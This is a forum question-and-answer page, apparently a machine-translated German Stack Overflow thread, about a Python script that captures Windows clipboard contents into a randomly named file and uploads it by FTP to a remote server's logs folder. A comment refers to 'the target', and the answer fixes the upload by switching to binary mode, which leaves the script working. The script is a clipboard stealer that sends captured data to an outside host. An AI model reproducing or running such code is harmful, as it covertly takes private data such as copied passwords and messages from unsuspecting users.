2016-06-09 15 views
0

Ich habe dieses Python ScriptSenden Dateiinhalte über FTP Python

import os 
import random 
import ftplib 
from tkinter import Tk 

# now, we will grab all Windows clipboard data, and put to var 
clipboard = Tk().clipboard_get() 
# print(clipboard) 
# this feature will only work if a string is in the clipboard. not files. 
# so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something 
# then it would come back an error, and the rest of the script would come back false (therefore shutdown) 

random_num = random.randrange(100, 1000, 2) 
random_num_2 = random.randrange(1, 9999, 5) 
filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt" 
file = open(filename, 'w') # clears file, or create if not exist 
file.write(clipboard) # write all contents of var "foo" to file 
file.close() # close file after printing 

# let's send this file over ftp 
session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password') 
session.cwd('//logs//') # move to correct directory 
f = open(filename, 'r') 
session.storbinary('STOR ' + filename, f) 
f.close() 
session.quit() 

Die Datei wird der Inhalt erstellt durch das Python-Skript (unter Variable "Dateiname" zB: "capture_clip5704061.txt") senden zu meinen FTP-Server , obwohl der Inhalt der Datei auf dem lokalen System nicht mit der Datei auf dem FTP-Server übereinstimmt. Wie Sie sehen können, verwende ich das ftplib-Modul. Hier ist mein Fehler:

+0

Sorry, es ist nicht buchstäblich die
Tags –

+0

Warum haben Sie sie dort in erster Linie? Ich benutze eine schnelle Regex, um sie alle zu ersetzen, so ist es jetzt behoben ... – Laurel

+0

danke, ich wusste nicht ganz, wie man diese weg machen (neues Update auf Stack, srry) –

Antwort

0

Ihre Bibliothek erwartet, dass die Datei im Binärmodus geöffnet ist, es erscheint. Versuchen Sie Folgendes:

f = open(filename, 'rb') 

Dies stellt sicher, dass die aus der Datei gelesenen Daten ein bytes Objekt statt str (für Text).

+0

Yup, das hat funktioniert. Vielen Dank! –